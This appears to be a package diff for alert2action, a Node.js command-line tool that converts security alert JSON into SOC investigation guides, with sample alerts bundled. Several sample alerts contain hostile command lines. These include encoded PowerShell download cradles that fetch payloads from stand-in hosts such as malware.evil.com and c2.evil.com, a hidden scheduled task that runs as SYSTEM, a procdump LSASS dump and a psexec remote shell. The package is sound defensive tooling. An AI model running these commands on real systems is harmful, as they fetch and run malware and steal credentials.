alert2action 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md ADDED
@@ -0,0 +1,203 @@
1
+ # alert2action
2
+
3
+ > **SOC Alert → Investigation Guide CLI**
4
+
5
+ Transform security alerts into actionable investigation guides with MITRE ATT&CK mapping, investigation commands, and containment playbooks.
6
+
7
+ ![alert2action demo](https://img.shields.io/badge/SOC-Automation-blue) ![Node.js](https://img.shields.io/badge/node-%3E%3D14.0.0-green) ![License](https://img.shields.io/badge/license-MIT-brightgreen)
8
+
9
+ ## 🎯 What It Does
10
+
11
+ ```bash
12
+ alert2action alert.json
13
+ ```
14
+
15
+ **Input:** A security alert JSON file (from any SIEM, EDR, or security tool)
16
+
17
+ **Output:** A comprehensive investigation guide with:
18
+ - 📖 **What Happened** - Plain-English summary
19
+ - 🎯 **MITRE ATT&CK Mapping** - Matched techniques with confidence scores
20
+ - 📁 **Logs to Check** - Relevant log sources for investigation
21
+ - ⚡ **Commands to Run** - PowerShell & Linux commands for analysis
22
+ - 🛡️ **Containment Steps** - Prioritized response actions
23
+ - 🤔 **False Positive Hints** - Common benign causes to rule out
24
+
25
+ ## 💡 Why This Is GOLD
26
+
27
+ - ✅ **Helps SOC freshers** - Learn investigation workflow
28
+ - ✅ **Saves senior analyst time** - Skip the basics, focus on threats
29
+ - ✅ **No strong open-source competitor** - Fills a real gap
30
+ - ✅ **Works with any SIEM** - Normalizes different alert formats
31
+ - ✅ **Offline capable** - No API keys needed
32
+
33
+ ## 🚀 Quick Start
34
+
35
+ ### Installation via npm (Recommended)
36
+
37
+ ```bash
38
+ npm install -g alert2action
39
+ ```
40
+
41
+ ### Or Clone from GitHub
42
+
43
+ ```bash
44
+ git clone https://github.com/notsointresting/alert2action.git
45
+ cd alert2action
46
+ npm install
47
+ npm link # Makes it globally available
48
+ ```
49
+
50
+ ### Run on an Example Alert
51
+
52
+ ```bash
53
+ alert2action examples/brute-force-alert.json
54
+ # or
55
+ node bin/alert2action.js examples/brute-force-alert.json
56
+ ```
57
+
58
+ ## 📋 Usage
59
+
60
+ ### Basic Usage
61
+
62
+ ```bash
63
+ alert2action <alert-file.json>
64
+ ```
65
+
66
+ ### Options
67
+
68
+ ```bash
69
+ alert2action alert.json # Colored CLI output
70
+ alert2action alert.json -o json # JSON format
71
+ alert2action alert.json -o markdown # Markdown for tickets
72
+ alert2action alert.json -v # Verbose mode
73
+ alert2action --help # Show help
74
+ ```
75
+
76
+ ### Output Formats
77
+
78
+ - **text** (default) - Colorized CLI output for terminal
79
+ - **json** - Raw JSON for integration with other tools
80
+ - **markdown** - Perfect for pasting into tickets/docs
81
+
82
+ ## 📁 Supported Alert Formats
83
+
84
+ alert2action automatically normalizes alerts from various sources:
85
+
86
+ - **Generic JSON** - Any custom format
87
+ - **Splunk** - Splunk alert output
88
+ - **Microsoft Sentinel** - Azure Sentinel incidents
89
+ - **Elastic SIEM** - Elasticsearch alerts
90
+ - **CrowdStrike Falcon** - Falcon detection events
91
+ - **Microsoft Defender** - MDE/MDI alerts
92
+ - **Custom SIEM** - Maps common field names automatically
93
+
94
+ ### Example Alert Structure
95
+
96
+ ```json
97
+ {
98
+ "title": "Multiple Failed Login Attempts",
99
+ "severity": "high",
100
+ "timestamp": "2024-01-18T10:30:00Z",
101
+ "source_ip": "185.220.101.45",
102
+ "hostname": "DC01.corp.local",
103
+ "username": "administrator",
104
+ "description": "Over 50 failed login attempts detected"
105
+ }
106
+ ```
107
+
108
+ ## 🎯 MITRE ATT&CK Coverage
109
+
110
+ Currently maps to **21 techniques** across all major tactics:
111
+
112
+ | Tactic | Techniques |
113
+ |--------|------------|
114
+ | Reconnaissance | T1595 (Active Scanning) |
115
+ | Initial Access | T1566 (Phishing), T1190 (Exploit), T1078 (Valid Accounts) |
116
+ | Execution | T1059 (Command/Script), T1059.001 (PowerShell) |
117
+ | Persistence | T1053 (Scheduled Task), T1547 (Boot Autostart) |
118
+ | Privilege Escalation | T1548.002 (UAC Bypass), T1134 (Token Manipulation) |
119
+ | Defense Evasion | T1055 (Process Injection), T1070 (Indicator Removal) |
120
+ | Credential Access | T1003 (Credential Dumping), T1110 (Brute Force) |
121
+ | Discovery | T1087 (Account Discovery) |
122
+ | Lateral Movement | T1021 (Remote Services) |
123
+ | Command & Control | T1071 (Application Protocol) |
124
+ | Exfiltration | T1041 (Exfil Over C2) |
125
+ | Impact | T1486 (Ransomware) |
126
+
127
+ ## 📂 Example Alerts Included
128
+
129
+ Try these sample alerts in the `examples/` folder:
130
+
131
+ ```bash
132
+ # Brute force attack
133
+ node bin/alert2action.js examples/brute-force-alert.json
134
+
135
+ # Malware execution (PowerShell download cradle)
136
+ node bin/alert2action.js examples/malware-alert.json
137
+
138
+ # Phishing email
139
+ node bin/alert2action.js examples/phishing-alert.json
140
+
141
+ # Credential dumping (LSASS access)
142
+ node bin/alert2action.js examples/credential-dump-alert.json
143
+
144
+ # Lateral movement (PsExec)
145
+ node bin/alert2action.js examples/lateral-movement-alert.json
146
+
147
+ # Privilege escalation (UAC Bypass)
148
+ node bin/alert2action.js examples/privesc-alert.json
149
+
150
+ # Multi-stage attack (Encoded PS + C2 + Persistence)
151
+ node bin/alert2action.js examples/soc-test-alert.json
152
+ ```
153
+
154
+ ## 🛠️ Programmatic Usage
155
+
156
+ Use alert2action as a library in your own scripts:
157
+
158
+ ```javascript
159
+ const { analyze, parseAlert, generateGuide } = require('alert2action');
160
+
161
+ // Quick analysis
162
+ const alertJson = require('./my-alert.json');
163
+ console.log(analyze(alertJson));
164
+
165
+ // Or step by step
166
+ const parsed = parseAlert(alertJson);
167
+ const guide = generateGuide(parsed);
168
+ console.log(guide);
169
+ ```
170
+
171
+ ## 🗺️ Roadmap
172
+
173
+ ### Coming Soon
174
+ - [ ] **More MITRE techniques** - Expand to 50+ techniques
175
+ - [ ] **Threat intelligence integration** - VirusTotal, AbuseIPDB, OTX lookups
176
+ - [ ] **Export to TheHive** - Create cases directly from alerts
177
+ - [ ] **Splunk-specific mapping** - Native Splunk field support
178
+ - [ ] **Interactive mode** - Guided Q&A investigation workflow
179
+ - [ ] **Custom playbook templates** - YAML-based playbook definitions
180
+
181
+ ### Future Ideas
182
+ - [ ] Sigma rule suggestions
183
+ - [ ] YARA rule generation
184
+ - [ ] Timeline visualization
185
+ - [ ] Multi-alert correlation
186
+ - [ ] Webhook integrations (Slack, Teams, Discord)
187
+
188
+ ## 🤝 Contributing
189
+
190
+ Contributions welcome! Areas that need help:
191
+
192
+ 1. **More MITRE techniques** - Add coverage for more attack patterns
193
+ 2. **SIEM-specific parsers** - Better support for specific products
194
+ 3. **Investigation commands** - More forensic one-liners
195
+ 4. **False positive knowledge** - Common FP patterns
196
+
197
+ ## 📄 License
198
+
199
+ MIT License - Use freely in your SOC!
200
+
201
+ ---
202
+
203
+ Built with ❤️ for SOC analysts everywhere
@@ -0,0 +1,2 @@
1
+ @echo off
2
+ node "%~dp0bin\alert2action.js" %*
@@ -0,0 +1,77 @@
1
+ #!/usr/bin/env node
2
+
3
+ /**
4
+ * alert2action CLI
5
+ * SOC Alert to Investigation Guide Generator
6
+ *
7
+ * Usage: alert2action <alert.json>
8
+ */
9
+
10
+ const { program } = require('commander');
11
+ const chalk = require('chalk');
12
+ const fs = require('fs');
13
+ const path = require('path');
14
+
15
+ const { parseAlert } = require('../src/parser');
16
+ const { generateGuide } = require('../src/guide-generator');
17
+ const { formatOutput } = require('../src/formatter');
18
+
19
+ // ASCII Banner
20
+ const banner = `
21
+ ${chalk.cyan('╔═══════════════════════════════════════════════════════════════╗')}
22
+ ${chalk.cyan('║')} ${chalk.bold.yellow('⚡ ALERT')}${chalk.bold.red('2')}${chalk.bold.green('ACTION')} ${chalk.gray('- SOC Investigation Guide Generator')} ${chalk.cyan('║')}
23
+ ${chalk.cyan('╚═══════════════════════════════════════════════════════════════╝')}
24
+ `;
25
+
26
+ program
27
+ .name('alert2action')
28
+ .description('Transform SOC alerts into actionable investigation guides')
29
+ .version('1.0.0')
30
+ .argument('<alert-file>', 'Path to the alert JSON file')
31
+ .option('-o, --output <format>', 'Output format: text, json, markdown', 'text')
32
+ .option('-v, --verbose', 'Show detailed analysis')
33
+ .option('--no-color', 'Disable colored output')
34
+ .action((alertFile, options) => {
35
+ try {
36
+ // Show banner
37
+ if (options.color !== false) {
38
+ console.log(banner);
39
+ }
40
+
41
+ // Validate file exists
42
+ const filePath = path.resolve(alertFile);
43
+ if (!fs.existsSync(filePath)) {
44
+ console.error(chalk.red(`\n❌ Error: File not found: ${alertFile}`));
45
+ process.exit(1);
46
+ }
47
+
48
+ // Read and parse alert
49
+ const alertData = fs.readFileSync(filePath, 'utf8');
50
+ let alert;
51
+ try {
52
+ alert = JSON.parse(alertData);
53
+ } catch (e) {
54
+ console.error(chalk.red(`\n❌ Error: Invalid JSON in ${alertFile}`));
55
+ process.exit(1);
56
+ }
57
+
58
+ // Parse and normalize alert
59
+ const parsedAlert = parseAlert(alert);
60
+
61
+ // Generate investigation guide
62
+ const guide = generateGuide(parsedAlert);
63
+
64
+ // Format and output
65
+ const output = formatOutput(guide, options);
66
+ console.log(output);
67
+
68
+ } catch (error) {
69
+ console.error(chalk.red(`\n❌ Error: ${error.message}`));
70
+ if (options.verbose) {
71
+ console.error(error.stack);
72
+ }
73
+ process.exit(1);
74
+ }
75
+ });
76
+
77
+ program.parse();
@@ -0,0 +1,33 @@
1
+ {
2
+ "id": "ALERT-2024-0127",
3
+ "title": "Multiple Failed Login Attempts Detected",
4
+ "description": "Over 50 failed authentication attempts detected from a single source IP within 5 minutes, indicating potential brute force attack",
5
+ "severity": "high",
6
+ "timestamp": "2024-01-18T10:30:00Z",
7
+ "source": "Windows Security",
8
+ "category": "Credential Access",
9
+ "source_ip": "185.220.101.45",
10
+ "dest_ip": "10.0.0.50",
11
+ "dest_port": 3389,
12
+ "protocol": "RDP",
13
+ "hostname": "DC01.corp.local",
14
+ "username": "administrator",
15
+ "domain": "CORP",
16
+ "event_type": "Authentication Failure",
17
+ "action": "blocked",
18
+ "status": "ongoing",
19
+ "data": {
20
+ "failed_attempts": 57,
21
+ "time_window_minutes": 5,
22
+ "targeted_accounts": [
23
+ "administrator",
24
+ "admin",
25
+ "svc_backup",
26
+ "sql_admin"
27
+ ],
28
+ "event_ids": [
29
+ 4625,
30
+ 4771
31
+ ]
32
+ }
33
+ }
@@ -0,0 +1,32 @@
1
+ {
2
+ "id": "ALERT-2024-0130",
3
+ "title": "LSASS Memory Access Detected - Potential Credential Dumping",
4
+ "description": "Process attempted to access LSASS memory, behavior consistent with credential harvesting tools like Mimikatz",
5
+ "severity": "critical",
6
+ "timestamp": "2024-01-18T16:45:22Z",
7
+ "source": "CrowdStrike Falcon",
8
+ "category": "Credential Access",
9
+ "hostname": "FINANCE-WS05",
10
+ "username": "SYSTEM",
11
+ "domain": "CORP",
12
+ "process_name": "procdump64.exe",
13
+ "process_path": "C:\\Users\\admin\\Downloads\\procdump64.exe",
14
+ "process_command_line": "procdump64.exe -accepteula -ma lsass.exe lsass.dmp",
15
+ "parent_process": "cmd.exe",
16
+ "process_id": 7234,
17
+ "source_ip": "10.0.2.105",
18
+ "data": {
19
+ "target_process": "lsass.exe",
20
+ "target_pid": 612,
21
+ "access_mask": "0x1FFFFF",
22
+ "technique_indicators": [
23
+ "credential_dumping",
24
+ "lsass_access",
25
+ "memory_dump"
26
+ ],
27
+ "tool_signature": "SysInternals ProcDump"
28
+ },
29
+ "event_type": "Process Access",
30
+ "action": "detected",
31
+ "status": "active"
32
+ }
@@ -0,0 +1,29 @@
1
+ {
2
+ "id": "ALERT-2024-0131",
3
+ "title": "Suspicious Lateral Movement via PsExec Detected",
4
+ "description": "Remote execution attempt using PsExec from workstation to domain controller detected",
5
+ "severity": "high",
6
+ "timestamp": "2024-01-18T11:08:45Z",
7
+ "source": "Microsoft Defender for Identity",
8
+ "category": "Lateral Movement",
9
+ "source_ip": "10.0.1.155",
10
+ "dest_ip": "10.0.0.10",
11
+ "dest_port": 445,
12
+ "protocol": "SMB",
13
+ "hostname": "WORKSTATION-089",
14
+ "username": "admin.jones",
15
+ "domain": "CORP",
16
+ "process_name": "PSEXESVC.exe",
17
+ "process_path": "\\\\DC01\\ADMIN$\\PSEXESVC.exe",
18
+ "process_command_line": "psexec.exe \\\\DC01 -s cmd.exe",
19
+ "data": {
20
+ "source_machine": "WORKSTATION-089",
21
+ "target_machine": "DC01",
22
+ "service_created": "PSEXESVC",
23
+ "authentication_type": "NTLM",
24
+ "lateral_movement_type": "PsExec"
25
+ },
26
+ "event_type": "Remote Execution",
27
+ "action": "detected",
28
+ "status": "active"
29
+ }
@@ -0,0 +1,30 @@
1
+ {
2
+ "id": "ALERT-2024-0140",
3
+ "title": "Suspicious Scheduled Task Created with Encoded PowerShell",
4
+ "description": "A new scheduled task was created that executes an obfuscated PowerShell command, potentially establishing persistence",
5
+ "severity": "high",
6
+ "timestamp": "2024-01-18T08:15:33Z",
7
+ "source": "Microsoft Defender for Endpoint",
8
+ "category": "Persistence",
9
+ "hostname": "HR-LAPTOP-023",
10
+ "username": "jdoe",
11
+ "domain": "CORP",
12
+ "process_name": "schtasks.exe",
13
+ "process_path": "C:\\Windows\\System32\\schtasks.exe",
14
+ "process_command_line": "schtasks /create /tn \"WindowsUpdate\" /tr \"powershell.exe -WindowStyle Hidden -EncodedCommand JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgTgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAGMAMgAuAGUAdgBpAGwALgBjAG8AbQAvAGIAZQBhAGMAbwBuAC4AZQB4AGUAJwAsACcAQwA6AFwAVQBzAGUAcgBzAFwAagBkAG8AZQBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAdQBwAGQAYQB0AGUALgBlAHgAZQAnACkA\" /sc onlogon /ru SYSTEM",
15
+ "parent_process": "cmd.exe",
16
+ "process_id": 8844,
17
+ "source_ip": "10.0.5.23",
18
+ "dest_ip": "45.33.32.156",
19
+ "dest_port": 80,
20
+ "data": {
21
+ "task_name": "WindowsUpdate",
22
+ "task_trigger": "OnLogon",
23
+ "run_as": "SYSTEM",
24
+ "decoded_command": "$c=New-Object Net.WebClient;$c.DownloadFile('http://c2.evil.com/beacon.exe','C:\\Users\\jdoe\\AppData\\Local\\Temp\\update.exe')",
25
+ "external_connection": true
26
+ },
27
+ "event_type": "Scheduled Task Creation",
28
+ "action": "detected",
29
+ "status": "active"
30
+ }
@@ -0,0 +1,35 @@
1
+ {
2
+ "id": "ALERT-2024-0128",
3
+ "title": "Suspicious PowerShell Execution with Encoded Command",
4
+ "description": "PowerShell executed with Base64 encoded command attempting to download and execute content from external URL",
5
+ "severity": "critical",
6
+ "timestamp": "2024-01-18T14:22:15Z",
7
+ "source": "Microsoft Defender for Endpoint",
8
+ "category": "Execution",
9
+ "hostname": "WORKSTATION-042",
10
+ "username": "jsmith",
11
+ "domain": "CORP",
12
+ "process_name": "powershell.exe",
13
+ "process_path": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
14
+ "process_command_line": "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvAG0AYQBsAHcAYQByAGUALgBlAHYAaQBsAC4AYwBvAG0ALwBwAGEAeQBsAG8AYQBkAC4AcABzADEAJwApAA==",
15
+ "parent_process": "WINWORD.EXE",
16
+ "process_id": 4892,
17
+ "source_ip": "10.0.1.42",
18
+ "dest_ip": "23.94.123.87",
19
+ "dest_port": 443,
20
+ "file_hash": "a1b2c3d4e5f6789012345678901234567890abcd",
21
+ "data": {
22
+ "decoded_command": "IEX(New-Object Net.WebClient).DownloadString('http://malware.evil.com/payload.ps1')",
23
+ "parent_command_line": "\"C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE\" /n \"C:\\Users\\jsmith\\Downloads\\Invoice_12345.docm\"",
24
+ "network_connections": [
25
+ {
26
+ "dest": "malware.evil.com",
27
+ "port": 80
28
+ },
29
+ {
30
+ "dest": "23.94.123.87",
31
+ "port": 443
32
+ }
33
+ ]
34
+ }
35
+ }
@@ -0,0 +1,28 @@
1
+ {
2
+ "id": "ALERT-2024-0129",
3
+ "title": "Phishing Email with Malicious Attachment Detected",
4
+ "description": "Email containing suspicious Office document with macro detected and quarantined",
5
+ "severity": "medium",
6
+ "timestamp": "2024-01-18T09:15:30Z",
7
+ "source": "Microsoft Defender for Office 365",
8
+ "category": "Initial Access",
9
+ "hostname": "MAIL-GW01",
10
+ "username": "mwilliams@company.com",
11
+ "data": {
12
+ "sender_email": "invoice@secure-payment-portal.com",
13
+ "sender_ip": "192.168.45.23",
14
+ "recipient": "mwilliams@company.com",
15
+ "subject": "URGENT: Invoice #INV-2024-8872 - Payment Required",
16
+ "attachment_name": "Invoice_Details_2024.xlsm",
17
+ "attachment_hash": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
18
+ "has_macro": true,
19
+ "links_in_body": [
20
+ "http://malicious-link.com/track/12345"
21
+ ],
22
+ "verdict": "Phishing",
23
+ "action_taken": "Quarantined"
24
+ },
25
+ "event_type": "Email Threat",
26
+ "action": "quarantined",
27
+ "status": "contained"
28
+ }
@@ -0,0 +1,112 @@
1
+ {
2
+ "event_version": "2.1",
3
+ "event_id": "privesc-3c91a8f2-4e67-4b2f-bb8a-91aef3d27b11",
4
+ "event_type": "privilege_escalation",
5
+ "event_severity": "critical",
6
+ "event_status": "active",
7
+ "event_time": "2026-01-18T09:41:12.556Z",
8
+ "ingested_time": "2026-01-18T09:41:14.102Z",
9
+ "host": {
10
+ "hostname": "FINANCE-LAPTOP-014",
11
+ "host_id": "e92b1c14-12a3-4d8b-9f81-7c88a1b27b45",
12
+ "ip_address": "10.0.8.47",
13
+ "os": {
14
+ "name": "Windows 11 Enterprise",
15
+ "version": "23H2",
16
+ "build": "22631.3085"
17
+ }
18
+ },
19
+ "user": {
20
+ "original_user": "jdoe",
21
+ "original_privilege": "standard_user",
22
+ "escalated_user": "NT AUTHORITY\\SYSTEM",
23
+ "logon_type": "service",
24
+ "session_id": "0x3e7"
25
+ },
26
+ "process": {
27
+ "process_name": "cmd.exe",
28
+ "process_id": 5236,
29
+ "parent_process": "winlogon.exe",
30
+ "parent_process_id": 732,
31
+ "command_line": "cmd.exe /c whoami",
32
+ "integrity_level": "System",
33
+ "token_elevation": true
34
+ },
35
+ "privilege_change": {
36
+ "method": "UAC Bypass",
37
+ "technique_details": "Abuse of auto-elevated COM interface",
38
+ "success": true,
39
+ "previous_integrity_level": "Medium",
40
+ "new_integrity_level": "System"
41
+ },
42
+ "exploitation": {
43
+ "vector": "Local",
44
+ "exploit_name": "SilentCleanup UAC Bypass",
45
+ "cve": null,
46
+ "exploited_component": "Task Scheduler / COM Interface"
47
+ },
48
+ "file_activity": {
49
+ "suspicious_binary": "payload.exe",
50
+ "file_path": "C:\\Users\\jdoe\\AppData\\Local\\Temp\\payload.exe",
51
+ "hashes": {
52
+ "md5": "9e107d9d372bb6826bd81d3542a419d6",
53
+ "sha256": "6a2da5b9a21dfd7c83e28efc6c6fd4d4a7c3fdafad7c5f3f4c87bb1ad9d4f223"
54
+ }
55
+ },
56
+ "persistence": {
57
+ "mechanism": "Service Creation",
58
+ "service_name": "WindowsUpdateHelper",
59
+ "service_binary": "C:\\ProgramData\\WindowsUpdateHelper\\wuhelper.exe",
60
+ "start_type": "auto"
61
+ },
62
+ "mitre_attack": {
63
+ "tactic": "Privilege Escalation",
64
+ "techniques": [
65
+ {
66
+ "id": "T1548.002",
67
+ "name": "Bypass User Account Control"
68
+ },
69
+ {
70
+ "id": "T1134",
71
+ "name": "Access Token Manipulation"
72
+ },
73
+ {
74
+ "id": "T1059.003",
75
+ "name": "Windows Command Shell"
76
+ }
77
+ ]
78
+ },
79
+ "detection": {
80
+ "source": "EDR",
81
+ "rule_name": "Suspicious SYSTEM-Level Process Spawn",
82
+ "confidence": 0.94,
83
+ "indicators": [
84
+ "standard_user_to_SYSTEM",
85
+ "unexpected_SYSTEM_shell",
86
+ "auto_elevated_process"
87
+ ]
88
+ },
89
+ "response": {
90
+ "actions_taken": [
91
+ "process_terminated",
92
+ "service_disabled",
93
+ "file_quarantined",
94
+ "host_isolated"
95
+ ],
96
+ "isolation_status": "enabled",
97
+ "analyst_notified": true
98
+ },
99
+ "analyst_notes": {
100
+ "assigned_to": "soc_analyst_l2",
101
+ "summary": "Privilege escalation achieved via UAC bypass. SYSTEM shell spawned from standard user context. Persistence established through rogue service."
102
+ },
103
+ "ioc": {
104
+ "host": "FINANCE-LAPTOP-014",
105
+ "user": "jdoe",
106
+ "process": "payload.exe",
107
+ "service": "WindowsUpdateHelper",
108
+ "hashes": [
109
+ "6a2da5b9a21dfd7c83e28efc6c6fd4d4a7c3fdafad7c5f3f4c87bb1ad9d4f223"
110
+ ]
111
+ }
112
+ }
@@ -0,0 +1,80 @@
1
+ {
2
+ "event_id": "test-001",
3
+ "event_type": "security_alert",
4
+ "severity": "high",
5
+ "status": "active",
6
+ "timestamp": "2026-01-18T12:30:45Z",
7
+ "host": {
8
+ "hostname": "TEST-ENDPOINT-01",
9
+ "ip": "10.0.10.15",
10
+ "os": "Windows 10"
11
+ },
12
+ "user": {
13
+ "username": "testuser",
14
+ "role": "standard_user"
15
+ },
16
+ "process": {
17
+ "name": "powershell.exe",
18
+ "parent": "cmd.exe",
19
+ "command_line": "powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8ANAA1AC4AMwAzAC4AMwAyAC4AMQA1ADYALwAnACkA"
20
+ },
21
+ "network": {
22
+ "destination_ip": "45.33.32.156",
23
+ "destination_port": 443,
24
+ "protocol": "HTTPS",
25
+ "reputation": "malicious"
26
+ },
27
+ "persistence": {
28
+ "method": "Scheduled Task",
29
+ "name": "WindowsUpdateService"
30
+ },
31
+ "privilege_escalation": {
32
+ "attempted": true,
33
+ "new_privilege": "SYSTEM"
34
+ },
35
+ "mitre_attack": {
36
+ "tactics": [
37
+ "Execution",
38
+ "Persistence",
39
+ "Privilege Escalation",
40
+ "Command and Control"
41
+ ],
42
+ "techniques": [
43
+ {
44
+ "id": "T1059.001",
45
+ "name": "PowerShell"
46
+ },
47
+ {
48
+ "id": "T1053",
49
+ "name": "Scheduled Task"
50
+ },
51
+ {
52
+ "id": "T1548.002",
53
+ "name": "UAC Bypass"
54
+ },
55
+ {
56
+ "id": "T1071.001",
57
+ "name": "Web Protocols"
58
+ }
59
+ ]
60
+ },
61
+ "ioc": {
62
+ "ips": [
63
+ "45.33.32.156"
64
+ ],
65
+ "processes": [
66
+ "powershell.exe"
67
+ ],
68
+ "users": [
69
+ "testuser"
70
+ ]
71
+ },
72
+ "response": {
73
+ "recommended_actions": [
74
+ "isolate_host",
75
+ "terminate_process",
76
+ "delete_scheduled_task",
77
+ "block_ip"
78
+ ]
79
+ }
80
+ }